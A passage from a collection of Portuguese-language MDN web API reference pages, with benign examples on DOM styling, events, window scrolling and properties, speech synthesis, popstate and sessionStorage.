<p>\n      <img\n id=\"img1\"\n src=\"image1.gif\"\n style=\"border: 5px solid green;\"\n width=\"100\"\n height=\"100\"\n alt=\"border test\" />\n    </p>\n\n    <form name=\"FormName\">\n      <input\n type=\"button\"\n value=\"Make border 20px-wide\"\n onclick=\"setBorderWidth(20);\" />\n      <input\n type=\"button\"\n value=\"Make border 5px-wide\"\n onclick=\"setBorderWidth(5);\" />\n    </form>\n  </body>\n</html>\n```\n\nExemplo 3: Manipulando Estilos\n------------------------------\n\nNeste exemplo simples, algumas propriedades de estilo básicas de um elemento de parágrafo HTML são acessadas usando o objeto de estilo no elemento e as propriedades de estilo CSS do objeto, que podem ser recuperadas e definidas a partir do DOM. Neste caso, você está manipulando os estilos individuais diretamente. No próximo exemplo (veja Exemplo 4), você pode usar folhas de estilo e suas regras para alterar estilos para documentos inteiros.\n\n\n```html\n<!doctype html>\n<html lang=\"en\">\n  <head>\n    <title>Changing color and font-size example</title>\n\n    <script>\n function changeText() {\n var p = document.getElementById(\"pid\");\n\n p.style.color = \"blue\";\n p.style.fontSize = \"18pt\";\n }\n </script>\n  </head>\n  <body>\n    <p id=\"pid\" onclick=\"window.location.href = 'http://www.cnn.com/';\">\n      linker\n    </p>\n\n    <form>\n      <p><input value=\"rec\" type=\"button\" onclick=\"changeText();\" /></p>\n    </form>\n  </body>\n</html>\n```\n\nExemplo 4: Usando folhas de estilo\n----------------------------------\n\nA propriedade styleSheets no objeto de documento retorna uma lista das folhas de estilo que foram carregadas nesse documento. Você pode acessar essas folhas de estilo e suas regras individualmente usando os objetos stylesheet, style e CSSRule, como demonstrado neste exemplo, que imprime todos os seletores de regras de estilo para o console.\n\n\n```js\nvar ss = document.styleSheets;\n\nfor (var i = 0; i < ss.length; i++) {\n  for (var j = 0; j < ss[i].cssRules.length; j++) {\n    dump(ss[i].cssRules[j].selectorText + \"\\n\");\n  }\n}\n```\n\n\nPara um documento com uma única folha de estilo na qual as três regras a seguir são definidas:\n\n\n```css\nbody {\n  background-color: darkblue;\n}\np {\n  font-face: Arial;\n  font-size: 10pt;\n  margin-left: 0.125in;\n}\n#lumpy {\n  display: none;\n}\n```\n\n\nEste script produz o seguinte:\n```\n\nBODY\nP\n#LUMPY\n```\n\nExemplo 5: Propagação de Eventos\n--------------------------------\n\nEste exemplo demonstra como eventos disparar e são tratados no DOM de uma forma muito simples. Quando o corpo deste documento HTML é carregado, um ouvinte de evento é registrado com a linha superior da tabela. O ouvinte de eventos processa o evento executando a função stopEvent, que altera o valor na célula inferior da tabela.\n\nNo entanto, stopEvent também chama um método de objeto de evento, `event.stopPropagation`, que mantém o evento de borbulhar mais para cima no DOM. Observe que a própria tabela possui um manipulador de eventos `onclick` que deve exibir uma mensagem quando a tabela é clicada. Mas o método stopEvent interrompeu a propagação e, portanto, após a atualização dos dados na tabela, a fase de evento é efetivamente encerrada e uma caixa de alerta é exibida para confirmar isso.\n\n\n```html\n<!doctype html>\n<html lang=\"en\">\n  <head>\n    <title>Event Propagation</title>\n\n    <style>\n #t-daddy {\n border: 1px solid red;\n }\n #c1 {\n background-color: pink;\n }\n </style>\n\n    <script>\n function stopEvent(ev) {\n c2 = document.getElementById(\"c2\");\n c2.innerHTML = \"hello\";\n\n // this ought to keep t-daddy from getting the click.\n ev.stopPropagation();\n alert(\"event propagation halted.\");\n }\n\n function load() {\n elem = document.getElementById(\"tbl1\");\n elem.addEventListener(\"click\", stopEvent, false);\n }\n </script>\n  </head>\n\n  <body onload=\"load();\">\n    <table id=\"t-daddy\" onclick=\"alert('hi');\">\n      <tr id=\"tbl1\">\n        <td id=\"c1\">one</td>\n      </tr>\n      <tr>\n        <td id=\"c2\">two</td>\n      </tr>\n    </table>\n  </body>\n</html>\n```\n\nExemplo 6: getComputedStyle\n---------------------------\n\nEste exemplo demonstra como o método `window.getComputedStyle` (en-US) pode ser usado para obter os estilos de um elemento que não são definidos usando o atributo de estilo ou com JavaScript (por exemplo, elt.style.backgroundColor = \"rgb (173, 216, 230) \"). Estes últimos tipos de estilos podem ser recuperados com a propriedade `elt.style` mais direta, cujas propriedades estão listadas na Lista de Propriedades do DOM CSS.\n\nGetComputedStyle() retorna um objeto ComputedCSSStyleDeclaration, cujas propriedades de estilo individuais podem ser referenciadas com o método getPropertyValue() desse objeto, como mostra o seguinte exemplo de documento.\n\n\n```html\n<!doctype html>\n<html lang=\"en\">\n  <head>\n    <title>getComputedStyle example</title>\n\n    <script>\n function cStyles() {\n var RefDiv = document.getElementById(\"d1\");\n var txtHeight = document.getElementById(\"t1\");\n var h\\_style = document.defaultView\n .getComputedStyle(RefDiv, null)\n .getPropertyValue(\"height\");\n\n txtHeight.value = h\\_style;\n\n var txtWidth = document.getElementById(\"t2\");\n var w\\_style = document.defaultView\n .getComputedStyle(RefDiv, null)\n .getPropertyValue(\"width\");\n\n txtWidth.value = w\\_style;\n\n var txtBackgroundColor = document.getElementById(\"t3\");\n var b\\_style = document.defaultView\n .getComputedStyle(RefDiv, null)\n .getPropertyValue(\"background-color\");\n\n txtBackgroundColor.value = b\\_style;\n }\n </script>\n\n    <style>\n #d1 {\n margin-left: 10px;\n background-color: rgb(173, 216, 230);\n height: 20px;\n max-width: 20px;\n }\n </style>\n  </head>\n\n  <body>\n    <div id=\"d1\">&nbsp;</div>\n\n    <form action=\"\">\n      <p>\n        <button type=\"button\" onclick=\"cStyles();\">getComputedStyle</button>\n        height<input id=\"t1\" type=\"text\" value=\"1\" /> max-width<input\n id=\"t2\"\n type=\"text\"\n value=\"2\" />\n        bg-color<input id=\"t3\" type=\"text\" value=\"3\" />\n      </p>\n    </form>\n  </body>\n</html>\n```\n\nExemplo 7: Exibindo Propriedades de Evento do Objeto\n----------------------------------------------------\n\nEste exemplo usa métodos DOM para exibir todas as propriedades do objeto `window.onload` (en-US) `evento` e seus valores em uma tabela. Ele também mostra uma técnica útil de usar um laço para iterar sobre as propriedades de um objeto para obter seus valores.\n\nAs propriedades dos objetos de evento diferem muito entre os navegadores, o WHATWG DOM Standard lista as propriedades padrão, porém muitos navegadores estenderam muito esses valores.\n\nColoque o seguinte código em um arquivo de texto em branco e carregue-o em uma variedade de navegadores, você ficará surpreso com o número diferente e nomes de propriedades. Você também pode querer adicionar alguns elementos na página e chamar essa função de manipuladores de eventos diferentes.\n\n\n```html\n<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>Show Event properties</title>\n\n    <style>\n table {\n border-collapse: collapse;\n }\n thead {\n font-weight: bold;\n }\n td {\n padding: 2px 10px 2px 10px;\n }\n\n .odd {\n background-color: #efdfef;\n }\n .even {\n background-color: #ffffff;\n }\n </style>\n\n    <script>\n function showEventProperties(e) {\n function addCell(row, text) {\n var cell = row.insertCell(-1);\n cell.appendChild(document.createTextNode(text));\n }\n\n var e = e || window.event;\n document.getElementById(\"eventType\").innerHTML = e.type;\n\n var table = document.createElement(\"table\");\n var thead = table.createTHead();\n var row = thead.insertRow(-1);\n var lableList = [\"#\", \"Property\", \"Value\"];\n var len = lableList.length;\n\n for (var i = 0; i < len; i++) {\n addCell(row, lableList[i]);\n }\n\n var tbody = document.createElement(\"tbody\");\n table.appendChild(tbody);\n\n for (var p in e) {\n row = tbody.insertRow(-1);\n row.className = row.rowIndex % 2 ? \"odd\" : \"even\";\n addCell(row, row.rowIndex);\n addCell(row, p);\n addCell(row, e[p]);\n }\n\n document.body.appendChild(table);\n }\n\n window.onload = function (event) {\n showEventProperties(event);\n };\n </script>\n  </head>\n\n  <body>\n    <h1>Properties of the DOM <span id=\"eventType\"></span> Event Object</h1>\n  </body>\n</html>\n```\n\nExemplo 8: Usando a interface de tabela do DOM\n----------------------------------------------\n\nA interface DOM HTMLTableElement fornece alguns métodos de conveniência para criar e manipular tabelas. Dois métodos usados com freqüência são `HTMLTableElement.insertRow` (en-US) e `tableRow.insertCell`.\n\nPara adicionar uma linha e algumas células a uma tabela existente:\n\n\n```html\n<table id=\"table0\">\n  <tr>\n    <td>Row 0 Cell 0</td>\n    <td>Row 0 Cell 1</td>\n  </tr>\n</table>\n\n<script>\n var table = document.getElementById(\"table0\");\n var row = table.insertRow(-1);\n var cell, text;\n\n for (var i = 0; i < 2; i++) {\n cell = row.insertCell(-1);\n text = \"Row \" + row.rowIndex + \" Cell \" + i;\n cell.appendChild(document.createTextNode(text));\n }\n</script>\n```\n\n### Notas\n\n* A propriedade `innerHTML` de uma tabela nunca deve ser usada para modificar uma tabela, embora você possa usá-la para escrever uma tabela inteira ou o conteúdo de uma célula.\n* Se os métodos DOM Core `document.createElement` e `Node.appendChild` são usados para criar linhas e células, o IE requer que eles sejam anexados a um elemento tbody, enquanto outros Os navegadores permitirão acrescentar a um elemento da tabela (as linhas serão adicionadas ao último elemento tbody).\n* Há uma série de outros métodos convenientes pertencentes à tabela de interface que podem ser usados para criar e modificar tabelas.\nSubnav\n------\n\n* DOM Reference\n* Introduction to the DOM\n* Events and the DOM (en-US)\n* Examples"}
{"title":"SpeechSynthesisUtterance.voice - APIs da Web","text":"SpeechSynthesisUtterance.voice\n==============================\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA propriedade **`voice`** da interface `SpeechSynthesisUtterance` (en-US) retorna e configura a voz que será usada para a fala.\n\nEssa propriedade deve ser configurada para um dos objetos `SpeechSynthesisVoice` (en-US) retornado por `SpeechSynthesis.getVoices()` (en-US). Se não for configurada no momento da fala, a voz usada será a determinada como default na propriedade `lang` (en-US).\n\nSintaxe\n-------\n```\n\nvar myVoice = speechSynthesisUtteranceInstance.voice;\nspeechSynthesisUtteranceInstance.voice = speechSynthesisVoiceInstance;\n```\n\n### Valor\n\nUm objeto `SpeechSynthesisVoice` (en-US).\n\nExemplo\n-------\n\n\n```js\nvar synth = window.speechSynthesis;\n\nvar inputForm = document.querySelector('form');\nvar inputTxt = document.querySelector('input');\nvar voiceSelect = document.querySelector('select');\n\nvar voices = synth.getVoices();\n\n  ...\n\ninputForm.onsubmit = function(event) {\n  event.preventDefault();\n\n  var utterThis = new SpeechSynthesisUtterance(inputTxt.value);\n  var selectedOption = voiceSelect.selectedOptions[0].getAttribute('data-name');\n  for(i = 0; i < voices.length ; i++) {\n    if(voices[i].name === selectedOption) {\n      utterThis.voice = voices[i];\n    }\n  }\n  synth.speak(utterThis);\n  inputTxt.blur();\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Speech API # dom-speechsynthesisutterance-voice |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Web Speech API (en-US)"}
{"title":"CloseEvent() - APIs da Web","text":"CloseEvent()\n============\n\nO construtor \\*\\*`CloseEvent()`\\*\\*cria uma nova instância `CloseEvent`.\n\nSintaxe\n-------\n```\n\nvar event = new CloseEvent(typeArg, closeEventInit);\n```\n\n### Valores\n\n`typeArg`\n\nÉ uma `DOMString` que representa o nome do evento.\n\n`closeEventInit` Optional\n\nÉ uma coleção `CloseEventInit`, que possui os seguintes campos:\n\n* `\"wasClean\"`, opcional e inicialmente de valor `false`, do tipo `long`, indica se uma conexão foi encerrada de forma limpa ou não.\n* `\"code\"`, opcional e inicialmente de valor `0`, do tipo `unsigned short`, este é o código de encerramento da conexão enviado pelo servidor.\n* `\"reason\"`, opcional e inicialmente de valor `''`, do tipo `DOMString`, esta é uma razão humanamente compreensível do porque o servidor encerrou a conexão.\n\n**Nota:** A coleção `CloseEventInit` também aceita campos vindos da coleção `EventInit`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| WebSockets Standard # dom-closeevent-closeevent |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `CloseEvent`, a interface de construção de seus objetos."}
{"title":"Window.navigator - APIs da Web","text":"Window.navigator\n================\n\nA propriedade somente leitura `Window.navigator` retorna uma referência para o objeto `Navigator` (en-US), que pode ser consultada para obter informações sobre a aplicação executando o script.\n\nSintaxe\n-------\n```\n\nnavigatorObject = window.navigator\n```\n\nExemplos\n--------\n\n### Exemplo #1: Detecta o navegador e retorna uma string\n\n\n```js\nvar sBrowser,\n  sUsrAg = navigator.userAgent;\n\nif (sUsrAg.indexOf(\"Chrome\") > -1) {\n  sBrowser = \"Google Chrome\";\n} else if (sUsrAg.indexOf(\"Safari\") > -1) {\n  sBrowser = \"Apple Safari\";\n} else if (sUsrAg.indexOf(\"Opera\") > -1) {\n  sBrowser = \"Opera\";\n} else if (sUsrAg.indexOf(\"Firefox\") > -1) {\n  sBrowser = \"Mozilla Firefox\";\n} else if (sUsrAg.indexOf(\"MSIE\") > -1) {\n  sBrowser = \"Microsoft Internet Explorer\";\n}\n\nalert(\"Você está utilizando: \" + sBrowser);\n```\n\n### Exemplo #2: Detecta o navegador e retorna um índice\n\n\n```js\nfunction getBrowserId() {\n  var aKeys = [\"MSIE\", \"Firefox\", \"Safari\", \"Chrome\", \"Opera\"],\n    sUsrAg = navigator.userAgent,\n    nIdx = aKeys.length - 1;\n\n  for (nIdx; nIdx > -1 && sUsrAg.indexOf(aKeys[nIdx]) === -1; nIdx--);\n\n  return nIdx;\n}\n\nconsole.log(getBrowserId());\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-navigator |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Window.closed - APIs da Web","text":"Window.closed\n=============\n\nSumário\n-------\n\nEssa propriedade (read-only) indica se a janela referenciada está ou não fechada.\n\nSintaxe\n-------\n```\n\nisClosed = windowRef.closed;\n```\n\n\n`isClosed`\n\nUm booleano. Valores possíveis:\n\n* `true`: A janela foi fechada.\n* `false`: A janela está aberta.\n\nExemplos\n--------\n\n### Mudar a URL de uma janela a partir de um popup\n\nO seguinte exemplo demonstra com uma janela de popup pode alterar a URL da janela que abriu ela. Antes de tentarmos mudar a URL da janela que a abriu, verificamos se a janela atual tem uma janela pai que a abriu usando a propriedade window.opener (en-US) e que esta não está fechada:\n\n\n```js\n// Verifique se o opener existe e não está fechado\nif (window.opener && !window.opener.closed) {\n  window.opener.location.href = \"http://www.mozilla.org\";\n}\n```\n\n\nNote que popups podem somente acessar a janela que os abriu.\n\n### Atualizando um popup anteriormente aberto\n\nNeste exemplo, a função `refreshPopupWindow()` chama o método `reload` do objeto `location` do popup para atualizar seus dados. Se o popup não foi aberto ainda ou o usuário o fechou, uma nova janela é aberta.\n\n\n```js\nvar popupWindow = null;\n\nfunction refreshPopupWindow() {\n  if (popupWindow && !popupWindow.closed) {\n    // popupWindow está aberto, atualize-o\n    popupWindow.location.reload(true);\n  } else {\n    // Abra uma nova janela de popup\n    popupWindow = window.open(\"popup.html\", \"dataWindow\");\n  }\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-window-closed-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Window: método scroll() - APIs da Web","text":"Window: método scroll()\n=======================\n\nO método **`Window.scroll()`** rola a janela para um local específico no documento.\n\nSintaxe\n-------\n\n\n```js\nscroll(x-coord, y-coord)\nscroll(options)\n```\n\n### Parâmetros\n\n* `x-coord` é o pixel ao longo do eixo horizontal do documento que você\n deseja exibido no canto superior esquerdo.\n* `y-coord` é o pixel ao longo do eixo vertical do documento que você\n deseja exibido no canto superior esquerdo.\n\n- ou -\n\n`options`\n\nUm dicionário contendo os seguintes parâmetros:\n\n`top`\n\nEspecifica o número de pixels ao longo do eixo Y para rolar a janela ou elemento.\n\n`left`\n\nEspecifica o número de pixels ao longo do eixo X para rolar a janela ou elemento.\n\n`behavior`\n\nDetermina se a rolagem é instantânea ou animada suavemente. Esta opção é uma string que deve assumir um dos seguintes valores:\n\n* `smooth`: a rolagem deve ser animada suavemente\n* `instant`: a rolagem deve acontecer instantaneamente em um único salto\n* `auto`: o comportamento de rolagem é determinado pelo valor calculado de `scroll-behavior`\n\n\n### Valor de retorno\n\nNenhum (`undefined`).\n\nExemplos\n--------\n\n\n```html\n<!-- coloque o centésimo pixel vertical no topo da janela -->\n\n<button onclick=\"scroll(0, 100);\">clique para rolar até o 100º pixel</button>\n```\n\n\nUsando `options`:\n\n\n```js\nwindow.scroll({\n  top: 100,\n  left: 100,\n  behavior: \"smooth\",\n});\n```\n\nNotas\n-----\n\n`Window.scrollTo()` é efetivamente o mesmo que este método. Para parente\n rolagem, veja `Window.scrollBy()`, `Window.scrollByLines()` (en-US),\n e `Window.scrollByPages()`.\n\n Para elementos de rolagem, consulte `Element.scrollTop` e\n `Element.scrollLeft`.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSSOM View Module # dom-window-scroll |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Window.scrollByLines()` (en-US)\n* `Window.scrollByPages()`\n* `Element.scrollIntoView()`"}
{"title":"Window.alert - APIs da Web","text":"Window.alert\n============\n\nO método **`Window.alert()`** mostra uma caixa de diálogo de aviso com o conteúdo opcionalmente especificado e um botão OK.\n\nSintaxe\n-------\n```\n\nwindow.alert(message);\n```\n\n\n* `message` é uma string opcional com o texto que você quer exibir na caixa de diálogo, ou, ainda, um objeto a ser convertido em string e exibido.\nExemplo\n-------\n\n\n```js\nwindow.alert(\"Hello world!\");\n```\n\n\nresulta em:\n\n![Image:AlertHelloWorld.png](/files/130/AlertHelloWorld.png)\n\nNotas\n-----\n\nA caixa de diálogo de aviso deve ser utilizada para mensagens que não requeiram nenhuma resposta da parte do usuário, a não ser o reconhecimento da mensagem.\n\nThe following text is shared between this article, DOM:window.prompt and DOM:window.confirmCaixas de diálogo são janelas modais - elas evitam que o usuário acesse o resto da interface do programa sem ter fechado a caixa de diálogo. Por essa razão, você não deve utilizar excessivamente nenhuma função que crie caixas de diálogo (ou janelas modais).\n\nUsuários do Chrome (por exemplo, em extensões) devem utilizar os métodos da interface `nsIPromptService` como alternativa.\n\nO argumento agora é opcional conforme exigido na especificação.\n\nEspecificação\n-------------\n\nEspecificado no HTML5.\n\nVer também\n----------\n\n* `confirm`\n* `prompt`\n* Para o Mozilla Chrome (en-US), veja `nsIPromptService.alert()` e `nsIPromptService.alertCheck()`"}
{"title":"Window.length - APIs da Web","text":"Window.length\n=============\n\nResumo\n------\n\nRetorna o número de frames (tanto elementos `frame` ou `iframe`) dentro da janela.\n\nSintaxe\n-------\n```\n\nquantidadeFrames = window.length;\n```\n\n\n* *quantidadeFrames* é o número de frames.\nExemplo\n-------\n\n\n```js\nif (window.length) {\n  // este é um documento com subframes\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # dom-length-dev |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Window.matchMedia() - APIs da Web","text":"Window.matchMedia()\n===================\n\nResumo\n------\n\nRetorna um novo objeto `MediaQueryList` (en-US) representando o resultado analisado da string media query (en-US) especificada.\n\nSintaxe\n-------\n```\n\nmql = window.matchMedia(mediaQueryString)\n```\n\n\nonde `mediaQueryString` é uma string representando a media query para o qual retorna um novo objeto `MediaQueryList` (en-US).\n\nExemplo\n-------\n\n\n```js\nif (window.matchMedia(\"(min-width: 400px)\").matches) {\n  /\\* a viewport tem pelo menos 400 pixels de largura \\*/\n} else {\n  /\\* a viewport menos que 400 pixels de largura \\*/\n}\n```\n\n\nEste código permite-lhe lidar com as coisas de forma diferente quando a janela é muito estreita.\n\nVeja Usando media queries a partir do código (en-US) para mais exemplos.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSSOM View Module # dom-window-matchmedia |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Media queries (en-US)\n* Usando media queries a partir do código (en-US)\n* `MediaQueryList` (en-US)\n* `MediaQueryListListener` (en-US)"}
{"title":"Window.scrollY - APIs da Web","text":"Window.scrollY\n==============\n\nSumário\n-------\n\nRetorna o número de pixels que o documento já rolou verticalmente.\n\nSintaxe\n-------\n```\n\nvar y = window.scrollY;\n```\n\n\n* y é o número atual de pixels que o documento rolou a partir do topo.\nExemplo\n-------\n\n\n```js\n// verificar e ir para a segunda página\nif (window.scrollY) {\n  window.scroll(0, 0); // reinicia a posição do scroll para a posição superior esquerda do documento.\n}\n\nwindow.scrollByPages(1);\n```\n\nNotas\n-----\n\nUtilize esta propriedade para verificar se o documento já foi rolado quando funções de rolagem relativa, tais como `window.scrollBy`, `window.scrollByLines` (en-US), ou `window.scrollByPages`, forem utilizadas.\n\nA propriedade `pageYOffset` é um alias para `scrollY`:\n\n\n```js\nwindow.pageYOffset == window.scrollY; // always true\n```\n\n\nFor cross-browser compatibility, use `window.pageYOffset` instead of `window.scrollY`. **Additionally**, older versions of Internet Explorer (< 9) do not support either property and must be worked around by checking other non-standard properties. A fully compatible example:\n\nPara compatibilidade cross-browser, utilize window.pageYOffset em vez de window.scrollY. Além disso, versões inferiores do Internet Explorer 9 não suportam ambas as propriedades, e deve ser contornado verificando outras propriedades não padronizadas.\n\n\n```js\nvar supportPageOffset = window.pageXOffset !== undefined;\nvar isCSS1Compat = (document.compatMode || \"\") === \"CSS1Compat\";\n\nvar x = supportPageOffset\n  ? window.pageXOffset\n  : isCSS1Compat\n    ? document.documentElement.scrollLeft\n    : document.body.scrollLeft;\nvar y = supportPageOffset\n  ? window.pageYOffset\n  : isCSS1Compat\n    ? document.documentElement.scrollTop\n    : document.body.scrollTop;\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSSOM View Module # dom-window-scrolly |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `window.scrollX` (en-US)"}
{"title":"WindowEventHandlers.onstorage - APIs da Web","text":"WindowEventHandlers.onstorage\n=============================\n\nA propriedade **`WindowEventHandlers.onstorage`** contém um manipulador de eventos que executa quando o evento `storage (en-US)` dispara. Isto ocorre quando a área de armazenamento é mudada. (ex. um novo item é armazenado.)\n\nSintaxe\n-------\n```\n\nwindowObj.onstorage = function() { ... };\n```\n\nExemplos\n--------\n\n\n```js\nwindow.onstorage = function (e) {\n  console.log(\n    \"The \" +\n      e.key +\n      \" key has been changed from \" +\n      e.oldValue +\n      \" to \" +\n      e.newValue +\n      \".\",\n  );\n};\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # event-storage |\n| HTML Standard # handler-window-onstorage |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Window.scrollBy() - APIs da Web","text":"Window.scrollBy()\n=================\n\nResumo\n------\n\nDesloca o documento dentro da janela pelo valor fornecido.\n\nSintaxe\n-------\n```\n\nwindow.scrollBy(X, Y);\n```\n\n### Parâmetros\n\n* `X` é o deslocamento em pixels (px) para a rolagem horizontalmente.\n* `Y` é o deslocamento em pixels (px) para a rolagem verticalmente.\n\nCoordenadas positivas deslocarão para a direita e para baixo. Coordenadas negativas deslocarão para a esquerda e para cima.\n\nExemplo\n-------\n```\n\n// Desloca a altura interna da janela\nwindow.scrollBy(0, window.innerHeight);\n```\n\nNotas\n-----\n\nwindow.scrollBy (en-US) desloca uma quantidade específical enquanto window.scroll (en-US) desloca para uma posição absoluta no documento. Veja Também window.scrollByLines (en-US), window.scrollByPages (en-US)\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSSOM View Module # dom-window-scrollby |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"WindowEventHandlers.onhashchange - APIs da Web","text":"WindowEventHandlers.onhashchange\n================================\n\nO evento **hashchange** é disparado quando a *hash* da *window* muda. (ver `location.hash`).\n\nSintaxe\n-------\n\n\n```js\nwindow.onhashchange = funcRef;\n```\n\n\n**ou:**\n\n\n```html\n<body onhashchange=\"funcRef();\"></body>\n```\n\n\n**ou:**\n\n\n```js\nwindow.addEventListener(\"hashchange\", funcRef, false);\n```\n\n### Parâmetros\n\n`funcRef`\n\nReferência a uma função\n\nExemplo\n-------\n\n\n```js\nif (\"onhashchange\" in window) {\n  alert(\"O browser têm suporte ao evento hashchange!\");\n}\n\nfunction locationHashChanged() {\n  if (location.hash === \"#algointeressante\") {\n    algoInteressante();\n  }\n}\n\nwindow.onhashchange = locationHashChanged;\n```\n\nO evento hashchange\n-------------------\n\nO evento hashchange disparado possui os seguintes campos\n\n| Campo | Tipo | Descrição |\n| --- | --- | --- |\n| `newURL` | `DOMString` | A nova URL para a qual a janela está navegando. |\n| `oldURL` | `DOMString` | A antiga URL da qual a janela veio. |\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # event-hashchange |\n| HTML Standard # handler-window-onhashchange |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"GlobalEventHandlers.onfocus - APIs da Web","text":"GlobalEventHandlers.onfocus\n===========================\n\nA propriedade **onfocus** retorna o código de manipulador de eventos *onFocus* no elemento atual.\n\nSintaxe\n-------\n```\n\nelement.onfocus = código de manipulação de eventos\n```\n\nNotas\n-----\n\nO evento *Focus* é gerado quando o usuario define o foco no elemento.\n\nOposta à MSIE, em que quase todos os tipos de elementos recebem o evento *focus*, em navegadores Gecko quase todos os tipos de elementos não funcionam com este evento.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| UI Events # event-type-focus |\n| HTML Standard # handler-onfocus |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"popstate - APIs da Web","text":"popstate\n========\n\nO evento `popstate` é disparado quando a entrada do histórico ativa é alterado. Se o histórico de entrada a ser ativado for criado por uma chamada `history.pushState()` ou for afetada por uma chamada `history.replaceState()`, a propriedade dos eventos `popstate` contém uma cópia do histórico de entrada do objeto.\n\nNote que apenas chamando `history.pushState()` ou `history.replaceState()` não ira disparar um evento `popstate`. O evento `popstate` apenas é disparado após uma ação no navegador como um click no botão de voltar (ou chamando `history.back() por javascript`)\n\nNavegadores tendem a lidar com o evento `popstate` diferentemente no carregamento da página. Chrome (anterior versão 34) e Safari sempre emitem um evento `popstate` no carregamento da página, mas o Firefox não.\n\nInformação geral\n----------------\n\nEspecificação\n\nHTML5\n\nInterface\n\nPopStateEvent\n\nBubbles\n\nYes\n\nCancelable\n\nNo\n\nAlvo\n\ndefaultView\n\nAção padrão\n\nNone\n\nPropriedades\n------------\n\n| Property | Type | Description |\n| --- | --- | --- |\n| `target` Somente leitura  | `EventTarget` | The browsing context (`window`). |\n| `type` Somente leitura  | `DOMString` | The type of event. |\n| `bubbles` Somente leitura  | `Boolean` | Whether the event normally bubbles or not. |\n| `cancelable` Somente leitura  | `Boolean` | Whether the event is cancellable or not. |\n| `state` Somente leitura  | *any* | The current history entry's state object (if any). |\n\nCompatiblidade com navegadores\n------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nExemplo\n-------\n\nUm página no `http://example.com/example.html roda o código abaixo e irá gerar os logs indicados`\n\n\n```js\nwindow.onpopstate = function (event) {\n  console.log(\n    \"location: \" +\n      document.location +\n      \", state: \" +\n      JSON.stringify(event.state),\n  );\n};\nhistory.pushState({ page: 1 }, \"title 1\", \"?page=1\");\nhistory.pushState({ page: 2 }, \"title 2\", \"?page=2\");\nhistory.replaceState({ page: 3 }, \"title 3\", \"?page=3\");\nhistory.back(); // Logs \"location: http://example.com/example.html?page=1, state: {\"page\":1}\"\nhistory.back(); // Logs \"location: http://example.com/example.html, state: null\nhistory.go(2); // Logs \"location: http://example.com/example.html?page=3, state: {\"page\":3}\n```\n\n\nObserve que mesmo que a entrada do histórico inicial(para `http://example.com/example.html`) não tem nenhum estado associado a ele, um evento `popstate`é ainda disparado quando nós ativamos essa entrada após a segunda chamada para `history.back()`.\n\nEventos relacionados\n--------------------\n\n* `hashchange` (en-US)"}
{"title":"Window.sessionStorage - APIs da Web","text":"Window.sessionStorage\n=====================\n\nA propriedade `sessionStorage` permite acessar um objeto tipo session `Storage`. A sessionStorage é similar ao `localStorage` (en-US), a única diferença é que enquanto os dados armazenados no `localStorage` não expiram, os dados no sessionstorage tem os seus dados limpos ao expirar a sessão da página. A sessão da página dura enquanto o browser está aberto e se mantém no recarregamento da página. **Abrir a página em uma nova aba ou nova janela irá gerar uma nova sessão,** o que diferencia de como os cookies trabalham\\*\\*.\\*\\*\n\nSintaxe\n-------\n\n\n```js\n// Salva os dados na sessionStorage\nsessionStorage.setItem(\"chave\", \"valor\");\n\n// Obtém os dados da sessionStorage\nvar data = sessionStorage.getItem(\"chave\");\n```\n\n### Valor\n\nObjeto `Storage`.\n\nExemplo\n-------\n\nO seguinte trecho acessa o objeto da sessão do domínio atual `Storage` e adiciona um item usando o `Storage.setItem()`.\n\n\n```js\nsessionStorage.setItem(\"myCat\", \"Tom\");\n```\n\n\nO exemplo a seguir salva automaticamente o conteúdo da caixa de texto, e caso o browser seja acidentalmente recarregado, o conteúdo da caixa de texto é restaurado.\n\n\n```js\n// Obtem a caixa de texto que vamos rastrear\nvar field = 